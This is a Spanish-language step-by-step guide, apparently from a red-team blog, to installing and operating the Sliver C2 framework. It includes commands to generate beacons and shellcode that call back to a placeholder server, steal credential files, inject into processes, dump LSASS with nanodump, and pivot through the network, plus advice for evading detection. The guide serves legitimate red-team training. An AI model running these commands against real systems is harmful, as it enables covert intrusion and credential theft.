Sliver es un framework C2 de código abierto desarrollado por BishopFox. Fue diseñado para reemplazar a Cobalt Strike para los red teams que no pueden o no quieren pagar más de $5,000 al año. Desde su lanzamiento, se ha convertido en una de las alternativas más serias — utilizado por red teams reales, no solo por jugadores de CTF.
Esta guía cubre todo: instalación, configuración del servidor, sesiones de operador, generación de implantes, post-explotación y los errores comunes que te pueden delatar.
Si no has leído la comparación de frameworks C2 , empieza por ahí para entender dónde se posiciona Sliver frente a Cobalt Strike y Havoc.
Por Qué Sliver
Tres razones por las que Sliver destaca:
- Gratuito y de código abierto. Sin licencias, sin costo por usuario, sin problemas de activación en los compromisos.
- Código base maduro. BishopFox lo construyó para operaciones reales. El conjunto de características cubre la mayor parte de lo que los red teams realmente necesitan.
- Implantes basados en Go. Compila en binarios independientes para Windows, Linux y macOS. Sin dependencia de .NET, sin huella de PowerShell.
Soporta listeners HTTP/S, DNS, WireGuard y mTLS. Los implantes pueden ser beacons (staged) o sesiones persistentes. El modelo de operador permite que múltiples red teamers trabajen en el mismo servidor simultáneamente.
Configuración del Laboratorio
Necesitas un VPS para una configuración C2 real. Ejecutar Sliver desde tu laptop durante un compromiso es exponerte a la atribución. La infraestructura separada importa.
Vultr y DigitalOcean funcionan bien para esto. Una instancia de $6/mes con Ubuntu 22.04 es suficiente para empezar. Mantenla aislada de tu infraestructura personal.
👉 Despliega un VPS en Vultr
— en producción en menos de un minuto
👉 Droplets de DigitalOcean
— confiable, desde $4/mes
Para esta guía: servidor Ubuntu 22.04, instalación limpia.
Paso 1 — Instalar el Servidor Sliver
Descargar la última versión
curl -s https://api.github.com/repos/BishopFoxSec/sliver/releases/latest \
| grep "browser_download_url.*linux" \
| grep -v sha256 \
| cut -d'"' -f4 \
| wget -qi -
O descarga directamente desde la página de releases de Sliver .
# Renombrar y hacer ejecutable
chmod +x sliver-server_linux
sudo mv sliver-server_linux /usr/local/bin/sliver-server
# Lo mismo para el cliente
chmod +x sliver-client_linux
sudo mv sliver-client_linux /usr/local/bin/sliver
Primera ejecución — generar certificados y configuraciones
sudo sliver-server
En el primer lanzamiento, Sliver genera:
- Certificados del servidor (mTLS)
- Configuración de operador por defecto
- Base de datos SQLite en
~/.sliver/
Entrarás al shell del servidor Sliver. Sal con exit por ahora.
Ejecutar como servicio
sudo sliver-server daemon &
O instálalo como servicio systemd para persistencia:
sudo sliver-server unpack --force
sudo systemctl enable sliver
sudo systemctl start sliver
Paso 2 — Configuración del Operador (Multi-Usuario)
Sliver usa TLS mutuo para conexiones de operadores. Cada operador obtiene un archivo de configuración que incluye su certificado.
Generar una configuración de operador
sudo sliver-server operator --name operador1 --lhost IP_DE_TU_SERVIDOR --save /tmp/operador1.cfg
Transfiere ese archivo .cfg a tu máquina de operador (tu caja de ataque, no el servidor C2).
Importar la configuración del operador (en la caja de ataque)
sliver import /ruta/a/operador1.cfg
Conectarse al servidor
sliver
Verás el banner de Sliver y la información del servidor. Ahora controlas el C2 de forma remota vía mTLS — sin SSH necesario durante las operaciones.
Paso 3 — Iniciar Listeners
Los listeners son cómo los implantes se comunican con el servidor. Empieza con HTTPS — es el más confiable a través del filtrado de egreso.
Listener HTTPS
[server] sliver > https --lhost 0.0.0.0 --lport 443
Verificar jobs activos:
[server] sliver > jobs
Listener DNS (para entornos restringidos)
El C2 por DNS es más lento pero evita la mayoría de los controles de egreso basados en proxy:
[server] sliver > dns --domains c2.tudominio.com
Para que el C2 por DNS funcione necesitas:
- Un registro A apuntando tu dominio a la IP del servidor
- Un registro NS para un subdominio (p. ej.,
ns1.tudominio.com) apuntando a tu servidor
Listener WireGuard (túnel operador-a-implante)
[server] sliver > wg-listener
WireGuard es útil para tunelizar tráfico a través de implantes sin la sobrecarga de HTTP. Menos común pero disponible.
Paso 4 — Generar Implantes
Sliver genera dos tipos: sesiones (interactivas, siempre activas) y beacons (sleep + jitter, más amigables con OPSEC).
Usa sesiones para pruebas iniciales. Usa beacons para compromisos reales.
Generar un beacon de Windows (HTTPS)
[server] sliver > generate beacon \
--http IP_DE_TU_SERVIDOR:443 \
--os windows \
--arch amd64 \
--format exe \
--sleep 30 \
--jitter 15 \
--save /tmp/beacon.exe
Parámetros clave:
--sleep— segundos entre callbacks--jitter— aleatoriedad añadida al sleep (dificulta el análisis de timing)--format— exe, dll, shellcode, service
Generar un implante de sesión Linux
[server] sliver > generate \
--http IP_DE_TU_SERVIDOR:443 \
--os linux \
--arch amd64 \
--format elf \
--save /tmp/implant
Generar shellcode para inyección
[server] sliver > generate \
--http IP_DE_TU_SERVIDOR:443 \
--os windows \
--arch amd64 \
--format shellcode \
--save /tmp/payload.bin
El shellcode es útil cuando necesitas inyectar en un proceso en ejecución en vez de soltar un binario.
Paso 5 — Gestión de Implantes
Verificar beacons activos
[server] sliver > beacons
Verificar sesiones activas
[server] sliver > sessions
Interactuar con un beacon
[server] sliver > use <beacon-id>
[beacon] sliver >
Con un beacon, los comandos se encolan y se ejecutan en el próximo check-in. No obtendrás output inmediato — ese es el tradeoff por mejor OPSEC.
Interactuar con una sesión
Las sesiones son interactivas — los comandos se ejecutan inmediatamente:
[server] sliver > use <session-id>
[session] sliver > whoami
[session] sliver > pwd
[session] sliver > ls
Paso 6 — Comandos Básicos de Post-Explotación
Reconocimiento
# Información del sistema
[beacon] sliver > info
# Procesos en ejecución
[beacon] sliver > ps
# Conexiones de red
[beacon] sliver > netstat
# Usuario actual y privilegios
[beacon] sliver > getuid
[beacon] sliver > getgid
[beacon] sliver > getpid
Operaciones de archivos
# Listar directorio
[beacon] sliver > ls C:\\Users\\
# Descargar un archivo
[beacon] sliver > download C:\\Users\\objetivo\\Documents\\credenciales.txt /tmp/credenciales.txt
# Subir un archivo
[beacon] sliver > upload /tmp/herramienta.exe C:\\Windows\\Temp\\herramienta.exe
# Ejecutar un archivo
[beacon] sliver > execute -t 30 C:\\Windows\\Temp\\herramienta.exe
Acceso a shell
# Shell interactivo (solo sesiones — no disponible en beacon sin tarea)
[session] sliver > shell
# Ejecutar un comando y obtener output
[beacon] sliver > execute -o cmd.exe /c whoami /all
Captura de pantalla
[beacon] sliver > screenshot
El output se guarda automáticamente en tu máquina local.
Paso 7 — Pivoting y Tunelización
Sliver tiene capacidades de pivoting integradas sólidas.
Proxy SOCKS5 a través del implante
[session] sliver > socks5 start --host 127.0.0.1 --port 1080
Ahora enruta herramientas a través del implante:
# En tu caja de ataque
proxychains nmap -sT -Pn -p 445,3389 10.10.10.0/24
Reenvío de puerto
# Reenviar el puerto local 8080 al objetivo interno:80
[session] sliver > portfwd add --remote 10.10.10.50:80 --local 127.0.0.1:8080
Túnel WireGuard (pivot de red completo)
[session] sliver > wg-portfwd add --remote 10.10.10.50:3389 --local 127.0.0.1:13389
Los pivots basados en WireGuard te dan un túnel de red real a través del implante — más flexible que SOCKS para ciertas herramientas.
Paso 8 — Ejecución en Memoria (Evitando el Disco)
Soltar binarios en disco es ruidoso. Sliver te da opciones para ejecutar en memoria.
Ejecutar assembly (C# en memoria)
[beacon] sliver > execute-assembly /ruta/a/SharpHound.exe -c all
Esto carga el assembly .NET en memoria usando el BOF execute-assembly de Sliver. Ningún archivo toca el disco del objetivo.
Cargar lateralmente una librería compartida
[beacon] sliver > sideload /ruta/a/evil.dll
Ejecutar shellcode en un proceso remoto
[beacon] sliver > inject --pid 1234 --shellcode /ruta/a/payload.bin
Inyecta en un proceso existente para evitar crear uno nuevo. Elige un proceso que se espera tenga tráfico de red.
Paso 9 — Armory (Extensiones y BOFs)
Sliver tiene un sistema de armory para cargar BOFs (Beacon Object Files) y extensiones.
Instalar el armory
[server] sliver > armory install all
Esto instala las extensiones oficiales incluyendo:
- SharpHound (enumeración de AD)
- Rubeus (ataques Kerberos)
- Certify (enumeración de AD CS)
- Varias herramientas de reconocimiento y post-explotación
Ejecutar un BOF
[beacon] sliver > bof whoami
[beacon] sliver > bof nanodump --pid 640 --write C:\\Windows\\Temp\\dump.dmp
Los BOFs se ejecutan dentro del proceso del implante mediante un mini runtime C — sin nuevo proceso, huella mínima.
Listar extensiones instaladas
[server] sliver > armory
Paso 10 — Consideraciones OPSEC
Sliver fuera de la caja es detectable. Las configuraciones por defecto tienen firmas conocidas.
Cambiar el perfil C2 por defecto
El perfil HTTP C2 por defecto envía cabeceras reconocibles. Personalízalo:
# Editar la configuración HTTP C2
~/.sliver/configs/http-c2.json
Campos clave a cambiar:
- Strings de User-Agent
- Rutas y parámetros de URL
- Orden y valores de cabeceras
Haz que tu tráfico C2 parezca tráfico de aplicación legítimo — cabeceras tipo navegador, estructuras de URL realistas.
Usa un redirector
No expongas tu servidor Sliver directamente. Pon un redirector (Apache mod_rewrite, Nginx, Caddy) delante de él. Si el redirector se quema, tu backend permanece limpio.
Configuración básica de redirector Nginx:
location / {
proxy_pass https://TU_BACKEND_C2:443;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
Para una guía completa de configuración de redirectores, consulta Infraestructura C2 para Red Teams: Configuración de Redirectores .
Sleep y jitter
Siempre usa beacons en producción. Las sesiones con callbacks constantes son triviales de detectar en un compromiso largo:
generate beacon --sleep 300 --jitter 60 # sleep de 5 min, jitter de 1 min
Selección del proceso objetivo para inyección
No inyectes en notepad.exe. Elige procesos que legítimamente tienen conexiones de red: explorer.exe, chrome.exe, svchost.exe (con el contexto de servicio correcto).
Sliver vs Cobalt Strike vs Havoc
| Característica | Sliver | Cobalt Strike | Havoc |
|---|---|---|---|
| Costo | Gratis | ~$5,000/año | Gratis |
| Madurez | Alta | Muy Alta | Media |
| Soporte BOF | Sí | Sí | Sí |
| Malleable C2 | Parcial | Completo | Parcial |
| Multi-operador | Sí | Sí | Sí |
| GUI | No (CLI) | Sí | Sí |
| Implantes Go | Sí | No | No (.NET) |
| Desarrollo activo | Sí | Sí | Sí |
Sliver gana en costo y portabilidad. Cobalt Strike sigue liderando en profundidad de malleable C2. Havoc tiene una UI más limpia pero es menos maduro.
Para un análisis detallado, consulta la guía de comparación de frameworks C2 .
Solución de Problemas
El implante no conecta de vuelta
- Verifica que tu listener esté corriendo:
jobs - Verifica el firewall:
ufw status— el puerto 443 debe estar abierto - Verifica que la IP del servidor en el implante coincida con tu IP real
- Prueba la accesibilidad:
curl -k https://IP_DE_TU_SERVIDOR:443desde la red objetivo
Conexión mTLS rechazada
La configuración del operador incluye el certificado del servidor. Si el servidor fue reinstalado o los certificados regenerados, necesitas una nueva configuración de operador.
Las tareas del beacon no se ejecutan
Los beacons solo ejecutan tareas en el check-in. Si el sleep es de 300 segundos, espera. Si han pasado múltiples intervalos, verifica si el proceso del implante sigue corriendo en el objetivo.
Errores de compilación
Sliver necesita Go para compilar implantes. En el servidor:
apt install golang-go
# O usa el Go incluido en el paquete de release de Sliver
Siguientes Pasos
Sliver cubre bien los fundamentos. A dónde ir desde aquí:
- Guía del Framework Havoc C2 — Compara el flujo de trabajo con Sliver
- Infraestructura C2: Configuración de Redirectores — Construye infraestructura adecuada alrededor de Sliver
- Playbook de Movimiento Lateral en Active Directory — Usa implantes Sliver para ataques AD
- Guía del Ataque DCSync — Volcado de credenciales vía Sliver + Mimikatz
Para practicar en un entorno seguro, despliega un laboratorio en un VPS:
👉 Vultr — despliega Ubuntu en 60 segundos
👉 DigitalOcean — Droplets desde $4/mes
¿Necesitas un Reporte Profesional de Red Team?
Si estás ejecutando operaciones y necesitas entregables listos para el cliente, CipherWrite maneja reportes de red team, writeups de pentest y resúmenes ejecutivos — escritos por profesionales, no por rellena-plantillas.
